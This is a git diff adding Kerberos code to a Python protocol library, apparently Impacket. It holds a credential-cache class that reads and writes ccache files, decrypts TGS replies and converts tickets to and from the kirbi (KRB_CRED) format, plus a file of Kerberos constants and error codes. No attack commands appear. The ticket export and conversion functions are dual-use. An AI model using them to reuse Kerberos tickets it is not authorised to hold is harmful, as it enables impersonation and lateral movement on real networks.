+        credential.secondTicket['data'] = b''
+        credential.secondTicket['length'] = 0
+        self.credentials.append(credential)
+
+    def fromTGS(self, tgs, oldSessionKey, sessionKey):
+        self.headers = []
+        header = Header()
+        header['tag'] = 1
+        header['taglen'] = 8
+        header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00'
+        self.headers.append(header)
+
+        decodedTGS = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
+
+        tmpPrincipal = types.Principal()
+        tmpPrincipal.from_asn1(decodedTGS, 'crealm', 'cname')
+        self.principal = Principal()
+        self.principal.fromPrincipal(tmpPrincipal)
+
+        # Now let's add the credential
+        cipherText = decodedTGS['enc-part']['cipher']
+
+        cipher = crypto._enctype_table[decodedTGS['enc-part']['etype']]
+
+        # Key Usage 8
+        # TGS-REP encrypted part (includes application session
+        # key), encrypted with the TGS session key (Section 5.4.2)
+        plainText = cipher.decrypt(oldSessionKey, 8, cipherText)
+
+        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
+
+        credential = Credential()
+        server = types.Principal()
+        server.from_asn1(encTGSRepPart, 'srealm', 'sname')
+        tmpServer = Principal()
+        tmpServer.fromPrincipal(server)
+
+        credential['client'] = self.principal
+        credential['server'] = tmpServer
+        credential['is_skey'] = 0
+
+        credential['key'] = KeyBlockV4()
+        credential['key']['keytype'] = int(encTGSRepPart['key']['keytype'])
+        credential['key']['keyvalue'] = encTGSRepPart['key']['keyvalue'].asOctets()
+        credential['key']['keylen'] = len(credential['key']['keyvalue'])
+
+        credential['time'] = Times()
+        credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['authtime']))
+        credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['starttime']))
+        credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['endtime']))
+        # After KB4586793 for CVE-2020-17049 this timestamp may be omitted
+        if encTGSRepPart['renew-till'].hasValue():
+            credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['renew-till']))
+
+        flags = self.reverseFlags(encTGSRepPart['flags'])
+        credential['tktflags'] = flags
+
+        credential['num_address'] = 0
+
+        credential.ticket = CountedOctetString()
+        credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
+        credential.ticket['length'] = len(credential.ticket['data'])
+        credential.secondTicket = CountedOctetString()
+        credential.secondTicket['data'] = b''
+        credential.secondTicket['length'] = 0
+        self.credentials.append(credential)
+
+    @classmethod
+    def loadFile(cls, fileName):
+        if fileName is None:
+            LOG.critical('CCache file is not found. Skipping...')
+            LOG.debug('The specified path is not correct or the KRB5CCNAME environment variable is not defined')
+            return None
+
+        try:
+            f = open(fileName, 'rb')
+            data = f.read()
+            f.close()
+            return cls(data)
+        except FileNotFoundError as e:
+            raise e
+
+    def saveFile(self, fileName):
+        f = open(fileName, 'wb+')
+        f.write(self.getData())
+        f.close()
+
+    @classmethod
+    def parseFile(cls, domain='', username='', target=''):
+        """
+        parses the CCache file specified in the KRB5CCNAME environment variable
+
+        :param domain: an optional domain name of a user
+        :param username: an optional username of a user
+        :param target: an optional SPN of a target system
+
+        :return: domain, username, TGT, TGS
+        """
+
+        ccache = cls.loadFile(os.getenv('KRB5CCNAME'))
+        if ccache is None:
+            return domain, username, None, None
+
+        LOG.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
+
+        if domain == '':
+            domain = ccache.principal.realm['data'].decode('utf-8')
+            LOG.debug('Domain retrieved from CCache: %s' % domain)
+
+        creds = None
+        if target != '':
+            principal = '%s@%s' % (target.upper(), domain.upper())
+            creds = ccache.getCredential(principal)
+
+        TGT = None
+        TGS = None
+        if creds is None:
+            principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
+            creds = ccache.getCredential(principal)
+            if creds is not None:
+                LOG.debug('Using TGT from cache')
+                TGT = creds.toTGT()
+            else:
+                LOG.debug('No valid credentials found in cache')
+        else:
+            LOG.debug('Using TGS from cache')
+            TGS = creds.toTGS(principal)
+
+        if username == '' and creds is not None:
+            username = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
+            LOG.debug('Username retrieved from CCache: %s' % username)
+        elif username == '' and len(ccache.principal.components) > 0:
+            username = ccache.principal.components[0]['data'].decode('utf-8')
+            LOG.debug('Username retrieved from CCache: %s' % username)
+
+        return domain, username, TGT, TGS
+
+    def prettyPrint(self):
+        print(("Primary Principal: %s" % self.principal.prettyPrint()))
+        print("Credentials: ")
+        for i, credential in enumerate(self.credentials):
+            print(("[%d]" % i))
+            credential.prettyPrint('\t')
+
+    @classmethod
+    def loadKirbiFile(cls, fileName):
+        f = open(fileName, 'rb')
+        data = f.read()
+        f.close()
+        ccache = cls()
+        ccache.fromKRBCRED(data)
+        return ccache
+
+    def saveKirbiFile(self, fileName):
+        f = open(fileName, 'wb+')
+        f.write(self.toKRBCRED())
+        f.close()
+
+    def fromKRBCRED(self, encodedKrbCred):
+
+        krbCred = decoder.decode(encodedKrbCred, asn1Spec=KRB_CRED())[0]
+        encKrbCredPart = decoder.decode(krbCred['enc-part']['cipher'], asn1Spec=EncKrbCredPart())[0]
+        krbCredInfo = encKrbCredPart['ticket-info'][0]
+
+        self.setDefaultHeader()
+
+        tmpPrincipal = types.Principal()
+        tmpPrincipal.from_asn1(krbCredInfo, 'prealm', 'pname')
+        self.principal = Principal()
+        self.principal.fromPrincipal(tmpPrincipal)
+
+        credential = Credential()
+        server = types.Principal()
+        server.from_asn1(krbCredInfo, 'srealm', 'sname')
+        tmpServer = Principal()
+        tmpServer.fromPrincipal(server)
+
+        credential['client'] = self.principal
+        credential['server'] = tmpServer
+        credential['is_skey'] = 0
+
+        credential['key'] = KeyBlockV4()
+        credential['key']['keytype'] = int(krbCredInfo['key']['keytype'])
+        credential['key']['keyvalue'] = krbCredInfo['key']['keyvalue'].asOctets()
+        credential['key']['keylen'] = len(credential['key']['keyvalue'])
+
+        credential['time'] = Times()
+
+        credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['starttime']))
+        credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['starttime']))
+        credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['endtime']))
+        credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['renew-till']))
+
+        flags = self.reverseFlags(krbCredInfo['flags'])
+        credential['tktflags'] = flags
+
+        credential['num_address'] = 0
+        credential.ticket = CountedOctetString()
+        credential.ticket['data'] = encoder.encode(
+            krbCred['tickets'][0].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)
+        )
+        credential.ticket['length'] = len(credential.ticket['data'])
+        credential.secondTicket = CountedOctetString()
+        credential.secondTicket['data'] = b''
+        credential.secondTicket['length'] = 0
+
+        self.credentials.append(credential)
+
+    def toKRBCRED(self):
+        principal = self.principal
+        credential = self.credentials[0]
+
+        krbCredInfo = KrbCredInfo()
+
+        krbCredInfo['key'] = noValue
+        krbCredInfo['key']['keytype'] = credential['key']['keytype']
+        krbCredInfo['key']['keyvalue'] = credential['key']['keyvalue']
+
+        krbCredInfo['prealm'] = principal.realm.fields['data']
+
+        krbCredInfo['pname'] = noValue
+        krbCredInfo['pname']['name-type'] = principal.header['name_type']
+        seq_set_iter(krbCredInfo['pname'], 'name-string', (principal.components[0].fields['data'],))
+
+        krbCredInfo['flags'] = credential['tktflags']
+
+        krbCredInfo['starttime'] = KerberosTime.to_asn1(datetime.utcfromtimestamp(credential['time']['starttime']))
+        krbCredInfo['endtime'] = KerberosTime.to_asn1(datetime.utcfromtimestamp(credential['time']['endtime']))
+        krbCredInfo['renew-till'] = KerberosTime.to_asn1(datetime.utcfromtimestamp(credential['time']['renew_till']))
+
+        krbCredInfo['srealm'] = credential['server'].realm.fields['data']
+
+        krbCredInfo['sname'] = noValue
+        krbCredInfo['sname']['name-type'] = credential['server'].header['name_type']
+        tmp_service_class = credential['server'].components[0].fields['data']
+        tmp_service_hostname = credential['server'].components[1].fields['data']
+        seq_set_iter(krbCredInfo['sname'], 'name-string', (tmp_service_class, tmp_service_hostname))
+
+        encKrbCredPart = EncKrbCredPart()
+        seq_set_iter(encKrbCredPart, 'ticket-info', (krbCredInfo,))
+
+        krbCred = KRB_CRED()
+        krbCred['pvno'] = 5
+        krbCred['msg-type'] = 22
+
+        krbCred['enc-part'] = noValue
+        krbCred['enc-part']['etype'] = 0
+        krbCred['enc-part']['cipher'] = encoder.encode(encKrbCredPart)
+
+        ticket = decoder.decode(credential.ticket['data'], asn1Spec=Ticket())[0]
+        seq_set_iter(krbCred, 'tickets', (ticket,))
+
+        encodedKrbCred = encoder.encode(krbCred)
+
+        return encodedKrbCred
+
+    def setDefaultHeader(self):
+        self.headers = []
+        header = Header()
+        header['tag'] = 1
+        header['taglen'] = 8
+        header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00'
+        self.headers.append(header)
+
+
+
+if __name__ == '__main__':
+    ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
+    ccache.prettyPrint()
diff --git a/impacket/krb5/constants.py b/impacket/krb5/constants.py
new file mode 100644
index 0000000..bf7d424
--- /dev/null
+++ b/impacket/krb5/constants.py
@@ -0,0 +1,474 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Constants for krb5.asn1 package. I took them out from the RFC plus
+#   some data from [MS-KILE] as well.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket.dcerpc.v5.enum import Enum
+
+def encodeFlags(flags):
+    finalFlags = list()
+
+    for i in range(0,32):
+        finalFlags.append(0,)
+
+
+    for f in flags:
+        finalFlags[f] = 1
+
+    return finalFlags
+
+class ApplicationTagNumbers(Enum):
+    Ticket         = 1
+    Authenticator  = 2
+    EncTicketPart  = 3
+    AS_REQ         = 10
+    AS_REP         = 11
+    TGS_REQ        = 12
+    TGS_REP        = 13
+    AP_REQ         = 14
+    AP_REP         = 15
+    RESERVED16     = 16
+    RESERVED17     = 17
+    KRB_SAFE       = 20
+    KRB_PRIV       = 21
+    KRB_CRED       = 22
+    EncASRepPart   = 25
+    EncTGSRepPart  = 26
+    EncApRepPart   = 27
+    EncKrbPrivPart = 28 
+    EncKrbCredPart = 29
+    KRB_ERROR      = 30
+
+class PrincipalNameType(Enum):
+    NT_UNKNOWN              = 0
+    NT_PRINCIPAL            = 1
+    NT_SRV_INST             = 2
+    NT_SRV_HST              = 3
+    NT_SRV_XHST             = 4
+    NT_UID                  = 5
+    NT_X500_PRINCIPAL       = 6
+    NT_SMTP_NAME            = 7
+    NT_ENTERPRISE           = 10
+    NT_WELLKNOWN            = 11
+    NT_SRV_HST_DOMAIN       = 12
+    NT_MS_PRINCIPAL         = -128
+    NT_MS_PRINCIPAL_AND_ID  = -129
+    NT_ENT_PRINCIPAL_AND_ID = -130
+
+class PreAuthenticationDataTypes(Enum):
+    PA_TGS_REQ                 = 1
+    PA_ENC_TIMESTAMP           = 2
+    PA_PW_SALT                 = 3
+    PA_ENC_UNIX_TIME           = 5
+    PA_SANDIA_SECUREID         = 6
+    PA_SESAME                  = 7
+    PA_OSF_DCE                 = 8
+    PA_CYBERSAFE_SECUREID      = 9
+    PA_AFS3_SALT               = 10
+    PA_ETYPE_INFO              = 11
+    PA_SAM_CHALLENGE           = 12
+    PA_SAM_RESPONSE            = 13
+    PA_PK_AS_REQ_OLD           = 14
+    PA_PK_AS_REP_OLD           = 15
+    PA_PK_AS_REQ               = 16
+    PA_PK_AS_REP               = 17
+    PA_ETYPE_INFO2             = 19
+    PA_USE_SPECIFIED_KVNO      = 20
+    PA_SAM_REDIRECT            = 21
+    PA_GET_FROM_TYPED_DATA     = 22
+    TD_PADATA                  = 22
+    PA_SAM_ETYPE_INFO          = 23
+    PA_ALT_PRINC               = 24
+    PA_SAM_CHALLENGE2          = 30
+    PA_SAM_RESPONSE2           = 31
+    PA_EXTRA_TGT               = 41
+    TD_PKINIT_CMS_CERTIFICATES = 101
+    TD_KRB_PRINCIPAL           = 102
+    TD_KRB_REALM               = 103
+    TD_TRUSTED_CERTIFIERS      = 104
+    TD_CERTIFICATE_INDEX       = 105
+    TD_APP_DEFINED_ERROR       = 106
+    TD_REQ_NONCE               = 107
+    TD_REQ_SEQ                 = 108
+    PA_PAC_REQUEST             = 128
+    PA_FOR_USER                = 129
+    PA_FX_COOKIE               = 133 
+    PA_FX_FAST                 = 136
+    PA_FX_ERROR                = 137
+    PA_ENCRYPTED_CHALLENGE     = 138
+    KERB_KEY_LIST_REQ          = 161
+    KERB_KEY_LIST_REP          = 162
+    PA_SUPPORTED_ENCTYPES      = 165
+    PA_PAC_OPTIONS             = 167
+
+class AddressType(Enum):
+    IPv4            = 2
+    Directional     = 3
+    ChaosNet        = 5
+    XNS             = 6
+    ISO             = 7
+    DECNET_Phase_IV = 12
+    AppleTalk_DDP   = 16
+    NetBios         = 20
+    IPv6            = 24
+
+# 3.1.5.9 Key Usage Numbers
+KERB_NON_KERB_SALT       = 16
+KERB_NON_KERB_CKSUM_SALT = 17
+
+# 7.5.4.  Authorization Data Types
+class AuthorizationDataType(Enum):
+    AD_IF_RELEVANT                     = 1
+    AD_INTENDED_FOR_SERVER             = 2
+    AD_INTENDED_FOR_APPLICATION_CLASS  = 3
+    AD_KDC_ISSUED                      = 4
+    AD_AND_OR                          = 5
+    AD_MANDATORY_TICKET_EXTENSIONS     = 6
+    AD_IN_TICKET_EXTENSIONS            = 7
+    AD_MANDATORY_FOR_KDC               = 8
+    #Reserved values                    = 9-63
+    OSF_DCE                            = 64
+    SESAME                             = 65
+    AD_OSF_DCE_PKI_CERTID              = 66 
+    AD_WIN2K_PAC                       = 128 
+    AD_ETYPE_NEGOTIATION               = 129 
+
+# 7.5.5.  Transited Encoding Types
+class TransitedEncodingTypes(Enum):
+    DOMAIN_X500_COMPRESS = 1
+
+# 7.5.6.  Protocol Version Number
+class ProtocolVersionNumber(Enum):
+    pvno = 5
+
+# 7.5.7.  Kerberos Message Types
+class KerberosMessageTypes(Enum):
+    KRB_AS_REQ      = 10    # Request for initial authentication
+    KRB_AS_REP      = 11    # Response to KRB_AS_REQ request
+    KRB_TGS_REQ     = 12    # Request for authentication based on TGT
+    KRB_TGS_REP     = 13    # Response to KRB_TGS_REQ request
+    KRB_AP_REQ      = 14    # Application request to server
+    KRB_AP_REP      = 15    # Response to KRB_AP_REQ_MUTUAL
+    KRB_RESERVED16  = 16    # Reserved for user-to-user krb_tgt_request
+    KRB_RESERVED17  = 17    # Reserved for user-to-user krb_tgt_reply
+    KRB_SAFE        = 20    # Safe (checksummed) application message
+    KRB_PRIV        = 21    # Private (encrypted) application message
+    KRB_CRED        = 22    # Private (encrypted) message to forward
+                            # credentials
+    KRB_ERROR       = 30    # Error response
+
+# 7.5.8.  Name Types
+class NameTypes(Enum):
+    KRB_NT_UNKNOWN              = 0    # Name type not known
+    KRB_NT_PRINCIPAL            = 1    # Just the name of the principal as in DCE,
+                                       # or for users
+    KRB_NT_SRV_INST             = 2    # Service and other unique instance (krbtgt)
+    KRB_NT_SRV_HST              = 3    # Service with host name as instance
+                                       # (telnet, rcommands)
+    KRB_NT_SRV_XHST             = 4    # Service with host as remaining components
+    KRB_NT_UID                  = 5    # Unique ID
+    KRB_NT_X500_PRINCIPAL       = 6    # Encoded X.509 Distinguished name [RFC2253]
+    KRB_NT_SMTP_NAME            = 7    # Name in form of SMTP email name
+                                       # (e.g., user@example.com)
+    KRB_NT_ENTERPRISE           = 10   #   Enterprise name; may be mapped to
+                                       # principal name
+    # Other Name Types
+    KRB_NT_WELLKNOWN            = 11
+    KRB_NT_SRV_HST_DOMAIN       = 12
+    KRB_NT_MS_PRINCIPAL         = -128
+    KRB_NT_MS_PRINCIPAL_AND_ID  = -129
+    KRB_NT_ENT_PRINCIPAL_AND_ID = -130
+
+# 7.5.9.  Error Codes
+class ErrorCodes(Enum):
+    KDC_ERR_NONE                                 = 0  # No error
+    KDC_ERR_NAME_EXP                             = 1  # Client's entry in database
+                                                      # has expired
+    KDC_ERR_SERVICE_EXP                          = 2  # Server's entry in database
+                                                      # has expired
+    KDC_ERR_BAD_PVNO                             = 3  # Requested protocol version
+                                                      # number not supported
+    KDC_ERR_C_OLD_MAST_KVNO                      = 4  # Client's key encrypted in
+                                                      # old master key
+    KDC_ERR_S_OLD_MAST_KVNO                      = 5  # Server's key encrypted in
+                                                      # old master key
+    KDC_ERR_C_PRINCIPAL_UNKNOWN                  = 6  # Client not found in
+                                                      # Kerberos database
+    KDC_ERR_S_PRINCIPAL_UNKNOWN                  = 7  # Server not found in
+                                                      # Kerberos database
+    KDC_ERR_PRINCIPAL_NOT_UNIQUE                 = 8  # Multiple principal entries
+                                                      # in database
+    KDC_ERR_NULL_KEY                             = 9  # The client or server has a
+                                                      # null key
+    KDC_ERR_CANNOT_POSTDATE                     = 10  # Ticket not eligible for
+                                                      # postdating
+    KDC_ERR_NEVER_VALID                         = 11  # Requested starttime is
+                                                      # later than end time
+    KDC_ERR_POLICY                              = 12  # KDC policy rejects request
+    KDC_ERR_BADOPTION                           = 13  # KDC cannot accommodate
+                                                      # requested option
+    KDC_ERR_ETYPE_NOSUPP                        = 14  # KDC has no support for
+                                                      # encryption type
+    KDC_ERR_SUMTYPE_NOSUPP                      = 15  # KDC has no support for
+                                                      # checksum type
+    KDC_ERR_PADATA_TYPE_NOSUPP                  = 16  # KDC has no support for
+                                                      # padata type
+    KDC_ERR_TRTYPE_NOSUPP                       = 17  # KDC has no support for
+                                                      # transited type
+    KDC_ERR_CLIENT_REVOKED                      = 18  # Clients credentials have
+                                                      # been revoked
+    KDC_ERR_SERVICE_REVOKED                     = 19  # Credentials for server have
+                                                      # been revoked
+    KDC_ERR_TGT_REVOKED                         = 20  # TGT has been revoked
+    KDC_ERR_CLIENT_NOTYET                       = 21  # Client not yet valid; try
+                                                      # again later
+    KDC_ERR_SERVICE_NOTYET                      = 22  # Server not yet valid; try
+                                                      # again later
+    KDC_ERR_KEY_EXPIRED                         = 23  # Password has expired;
+                                                      # change password to reset
+    KDC_ERR_PREAUTH_FAILED                      = 24  # Pre-authentication
+                                                      # information was invalid
+    KDC_ERR_PREAUTH_REQUIRED                    = 25  # Additional pre-
+                                                      # authentication required
+    KDC_ERR_SERVER_NOMATCH                      = 26  # Requested server and ticket
+                                                      # don't match
+    KDC_ERR_MUST_USE_USER2USER                  = 27  # Server principal valid for
+                                                      # user2user only
+    KDC_ERR_PATH_NOT_ACCEPTED                   = 28  # KDC Policy rejects
+                                                      # transited path
+    KDC_ERR_SVC_UNAVAILABLE                     = 29  # A service is not available
+    KRB_AP_ERR_BAD_INTEGRITY                    = 31  # Integrity check on
+                                                      # decrypted field failed
+    KRB_AP_ERR_TKT_EXPIRED                      = 32  # Ticket expired
+    KRB_AP_ERR_TKT_NYV                          = 33  # Ticket not yet valid
+    KRB_AP_ERR_REPEAT                           = 34  # Request is a replay
+    KRB_AP_ERR_NOT_US                           = 35  # The ticket isn't for us
+    KRB_AP_ERR_BADMATCH                         = 36  # Ticket and authenticator
+                                                      # don't match
+    KRB_AP_ERR_SKEW                             = 37  # Clock skew too great
+    KRB_AP_ERR_BADADDR                          = 38  # Incorrect net address
+    KRB_AP_ERR_BADVERSION                       = 39  # Protocol version mismatch
+    KRB_AP_ERR_MSG_TYPE                         = 40  # Invalid msg type
+    KRB_AP_ERR_MODIFIED                         = 41  # Message stream modified
+    KRB_AP_ERR_BADORDER                         = 42  # Message out of order
+    KRB_AP_ERR_BADKEYVER                        = 44  # Specified version of key is
+                                                      # not available
+    KRB_AP_ERR_NOKEY                            = 45  # Service key not available
+    KRB_AP_ERR_MUT_FAIL                         = 46  # Mutual authentication
+                                                      # failed
+    KRB_AP_ERR_BADDIRECTION                     = 47  # Incorrect message direction
+    KRB_AP_ERR_METHOD                           = 48  # Alternative authentication
+                                                      # method required
+    KRB_AP_ERR_BADSEQ                           = 49  # Incorrect sequence number
+                                                      # in message
+    KRB_AP_ERR_INAPP_CKSUM                      = 50  # Inappropriate type of
+                                                      # checksum in message
+    KRB_AP_PATH_NOT_ACCEPTED                    = 51  # Policy rejects transited
+                                                      # path
+    KRB_ERR_RESPONSE_TOO_BIG                    = 52  # Response too big for UDP;
+                                                      # retry with TCP
+    KRB_ERR_GENERIC                             = 60  # Generic error (description
+                                                      # in e-text)
+    KRB_ERR_FIELD_TOOLONG                       = 61  # Field is too long for this
+                                                      # implementation
+    KDC_ERROR_CLIENT_NOT_TRUSTED                = 62  # Reserved for PKINIT
+    KDC_ERROR_KDC_NOT_TRUSTED                   = 63  # Reserved for PKINIT
+    KDC_ERROR_INVALID_SIG                       = 64  # Reserved for PKINIT
+    KDC_ERR_KEY_TOO_WEAK                        = 65  # Reserved for PKINIT
+    KDC_ERR_CERTIFICATE_MISMATCH                = 66  # Reserved for PKINIT
+    KRB_AP_ERR_NO_TGT                           = 67  # No TGT available to
+                                                      # validate USER-TO-USER
+    KDC_ERR_WRONG_REALM                         = 68  # Reserved for future use
+    KRB_AP_ERR_USER_TO_USER_REQUIRED            = 69  # Ticket must be for
+                                                      # USER-TO-USER
+    KDC_ERR_CANT_VERIFY_CERTIFICATE             = 70  # Reserved for PKINIT
+    KDC_ERR_INVALID_CERTIFICATE                 = 71  # Reserved for PKINIT
+    KDC_ERR_REVOKED_CERTIFICATE                 = 72  # Reserved for PKINIT
+    KDC_ERR_REVOCATION_STATUS_UNKNOWN           = 73  # Reserved for PKINIT
+    KDC_ERR_REVOCATION_STATUS_UNAVAILABLE       = 74  # Reserved for PKINIT
+    KDC_ERR_CLIENT_NAME_MISMATCH                = 75  # Reserved for PKINIT
+    KDC_ERR_KDC_NAME_MISMATCH                   = 76  # Reserved for PKINIT
+    KDC_ERR_INCONSISTENT_KEY_PURPOSE            = 77  # Reserved for PKINIT
+    KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED         = 78  # Reserved for PKINIT
+    KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED        = 79  # Reserved for PKINIT
+    KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED  = 80  # Reserved for PKINIT
+    KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED = 81  # Reserved for PKINIT
+    KDC_ERR_PREAUTH_EXPIRED                     = 90  # Pre-authentication has expired
+    KDC_ERR_MORE_PREAUTH_DATA_REQUIRED          = 91  # Additional pre-authentication data is required
+    KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET      = 92  # KDC cannot accommodate requested pre-authentication data element
+    KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS       = 93  # Reserved for PKINIT
+ 
+ERROR_MESSAGES = {
+    0  : ('KDC_ERR_NONE', 'No error'),
+    1  : ('KDC_ERR_NAME_EXP', 'Client\'s entry in database has expired'),
+    2  : ('KDC_ERR_SERVICE_EXP', 'Server\'s entry in database has expired'),
+    3  : ('KDC_ERR_BAD_PVNO', 'Requested protocol version number not supported'),
+    4  : ('KDC_ERR_C_OLD_MAST_KVNO', 'Client\'s key encrypted in old master key'),
+    5  : ('KDC_ERR_S_OLD_MAST_KVNO', 'Server\'s key encrypted in old master key'),
+    6  : ('KDC_ERR_C_PRINCIPAL_UNKNOWN', 'Client not found in Kerberos database'),
+    7  : ('KDC_ERR_S_PRINCIPAL_UNKNOWN', 'Server not found in Kerberos database'),
+    8  : ('KDC_ERR_PRINCIPAL_NOT_UNIQUE', 'Multiple principal entries in database'),
+    9  : ('KDC_ERR_NULL_KEY', 'The client or server has a null key'),
+    10 : ('KDC_ERR_CANNOT_POSTDATE', 'Ticket not eligible for postdating'),
+    11 : ('KDC_ERR_NEVER_VALID', 'Requested starttime is later than end time'),
+    12 : ('KDC_ERR_POLICY', 'KDC policy rejects request'),
+    13 : ('KDC_ERR_BADOPTION', 'KDC cannot accommodate requested option'),
+    14 : ('KDC_ERR_ETYPE_NOSUPP', 'KDC has no support for encryption type'),
+    15 : ('KDC_ERR_SUMTYPE_NOSUPP', 'KDC has no support for checksum type'),
+    16 : ('KDC_ERR_PADATA_TYPE_NOSUPP', 'KDC has no support for padata type'),
+    17 : ('KDC_ERR_TRTYPE_NOSUPP', 'KDC has no support for transited type'),
+    18 : ('KDC_ERR_CLIENT_REVOKED', 'Clients credentials have been revoked'),
+    19 : ('KDC_ERR_SERVICE_REVOKED', 'Credentials for server have been revoked'),
+    20 : ('KDC_ERR_TGT_REVOKED', 'TGT has been revoked'),
+    21 : ('KDC_ERR_CLIENT_NOTYET', 'Client not yet valid; try again later'),
+    22 : ('KDC_ERR_SERVICE_NOTYET', 'Server not yet valid; try again later'),
+    23 : ('KDC_ERR_KEY_EXPIRED', 'Password has expired; change password to reset'),
+    24 : ('KDC_ERR_PREAUTH_FAILED', 'Pre-authentication information was invalid'),
+    25 : ('KDC_ERR_PREAUTH_REQUIRED', 'Additional pre-authentication required'),
+    26 : ('KDC_ERR_SERVER_NOMATCH', 'Requested server and ticket don\'t match'),
+    27 : ('KDC_ERR_MUST_USE_USER2USER', 'Server principal valid for user2user only'),
+    28 : ('KDC_ERR_PATH_NOT_ACCEPTED', 'KDC Policy rejects transited path'),
+    29 : ('KDC_ERR_SVC_UNAVAILABLE', 'A service is not available'),
+    31 : ('KRB_AP_ERR_BAD_INTEGRITY', 'Integrity check on decrypted field failed'),
+    32 : ('KRB_AP_ERR_TKT_EXPIRED', 'Ticket expired'),
+    33 : ('KRB_AP_ERR_TKT_NYV', 'Ticket not yet valid'),
+    34 : ('KRB_AP_ERR_REPEAT', 'Request is a replay'),
+    35 : ('KRB_AP_ERR_NOT_US', 'The ticket isn\'t for us'),
+    36 : ('KRB_AP_ERR_BADMATCH', 'Ticket and authenticator don\'t match'),
+    37 : ('KRB_AP_ERR_SKEW', 'Clock skew too great'),
+    38 : ('KRB_AP_ERR_BADADDR', 'Incorrect net address'),
+    39 : ('KRB_AP_ERR_BADVERSION', 'Protocol version mismatch'),
+    40 : ('KRB_AP_ERR_MSG_TYPE', 'Invalid msg type'),
+    41 : ('KRB_AP_ERR_MODIFIED', 'Message stream modified'),
+    42 : ('KRB_AP_ERR_BADORDER', 'Message out of order'),
+    44 : ('KRB_AP_ERR_BADKEYVER', 'Specified version of key is not available'),
+    45 : ('KRB_AP_ERR_NOKEY', 'Service key not available'),
+    46 : ('KRB_AP_ERR_MUT_FAIL', 'Mutual authentication failed'),
+    47 : ('KRB_AP_ERR_BADDIRECTION', 'Incorrect message direction'),
+    48 : ('KRB_AP_ERR_METHOD', 'Alternative authentication method required'),
+    49 : ('KRB_AP_ERR_BADSEQ', 'Incorrect sequence number in message'),
+    50 : ('KRB_AP_ERR_INAPP_CKSUM', 'Inappropriate type of checksum in message'),
+    51 : ('KRB_AP_PATH_NOT_ACCEPTED', 'Policy rejects transited path'),
+    52 : ('KRB_ERR_RESPONSE_TOO_BIG', 'Response too big for UDP; retry with TCP'),
+    60 : ('KRB_ERR_GENERIC', 'Generic error (description in e-text)'),
+    61 : ('KRB_ERR_FIELD_TOOLONG', 'Field is too long for this implementation'),
+    62 : ('KDC_ERROR_CLIENT_NOT_TRUSTED', 'Reserved for PKINIT'),
+    63 : ('KDC_ERROR_KDC_NOT_TRUSTED', 'Reserved for PKINIT'),
+    64 : ('KDC_ERROR_INVALID_SIG', 'Reserved for PKINIT'),
+    65 : ('KDC_ERR_KEY_TOO_WEAK', 'Reserved for PKINIT'),
+    66 : ('KDC_ERR_CERTIFICATE_MISMATCH', 'Reserved for PKINIT'),
+    67 : ('KRB_AP_ERR_NO_TGT', 'No TGT available to validate USER-TO-USER'),
+    68 : ('KDC_ERR_WRONG_REALM', 'Reserved for future use'),
+    69 : ('KRB_AP_ERR_USER_TO_USER_REQUIRED', 'Ticket must be for USER-TO-USER'),
+    70 : ('KDC_ERR_CANT_VERIFY_CERTIFICATE', 'Reserved for PKINIT'),
+    71 : ('KDC_ERR_INVALID_CERTIFICATE', 'Reserved for PKINIT'),
+    72 : ('KDC_ERR_REVOKED_CERTIFICATE', 'Reserved for PKINIT'),
+    73 : ('KDC_ERR_REVOCATION_STATUS_UNKNOWN', 'Reserved for PKINIT'),
+    74 : ('KDC_ERR_REVOCATION_STATUS_UNAVAILABLE', 'Reserved for PKINIT'),
+    75 : ('KDC_ERR_CLIENT_NAME_MISMATCH', 'Reserved for PKINIT'),
+    76 : ('KDC_ERR_KDC_NAME_MISMATCH', 'Reserved for PKINIT'),
+    77 : ('KDC_ERR_INCONSISTENT_KEY_PURPOSE', 'Certificate cannot be used for PKINIT client authentication'),
+    78 : ('KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED', 'Digest algorithm for the public key in the certificate is not acceptable by the KDC'),
+    79 : ('KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED', 'The paChecksum filed in the request is not present'),
+    80 : ('KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED', 'The digest algorithm used by the id-pkinit-authData is not acceptable by the KDC'),
+    81 : ('KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED', 'The KDC does not support the public key encryption key delivery method'),
+    90 : ('KDC_ERR_PREAUTH_EXPIRED', 'Pre-authentication has expired'),
+    91 : ('KDC_ERR_MORE_PREAUTH_DATA_REQUIRED', 'Additional pre-authentication data is required'),
